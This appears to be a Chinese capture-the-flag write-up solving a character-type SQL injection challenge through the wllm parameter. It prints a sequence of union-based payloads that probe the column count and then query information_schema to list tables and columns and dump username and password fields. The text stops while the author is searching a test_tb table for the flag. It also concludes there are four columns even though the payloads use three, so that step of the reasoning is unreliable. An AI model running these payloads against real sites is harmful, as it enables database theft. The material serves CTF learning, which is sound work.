1.题目
2.打开题目如图
文章的标题说参数是wllm,那么我们传入参数测试,返回如下,我们试试1'去找注入类型
注入类型
数字型sql注入
字符型sql注入
我们传入wllm=1'的时候发现报错了,然后使用注释符闭合,不报错了,所以是字符型注入闭合为单引号
3.构造payload语句解题
1' order by 1--+ //正常
1' order by 2 --+ //正常
1' order by 3 --+ //正常
1' order by 4 --+ //报错
........................
我们可以知道这个数据库有4列,然后我们来判断回显点
语句:-1' union select 1,2,3--+ //这个闭合使用%23和--+都可以 ||'也可以闭合,这里没有返回回显点,忘记了需要用-1或这个不存在的,这样它差不到数据,才返回回显点
如下图,成功回显
发现有两个回显点,用哪个都可以,构造语句查看数据库
-1'union select 1,database(),3--+
查到数据库的名字是test_db然后通过数据库去查表名
-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='test_db' --+
得到了一个test_db和一个users表
通过表名去查字段
-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+
查到了一堆的字段,其中username和password比较敏感,我们去看这两个字段的内容
-1'union select 1,group_concat(username,password),3 from test_db.users--+
很抱歉,这里发现flag不在username和password字段,而是再test_tb表中的flag字段中
-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_name='test_tb'--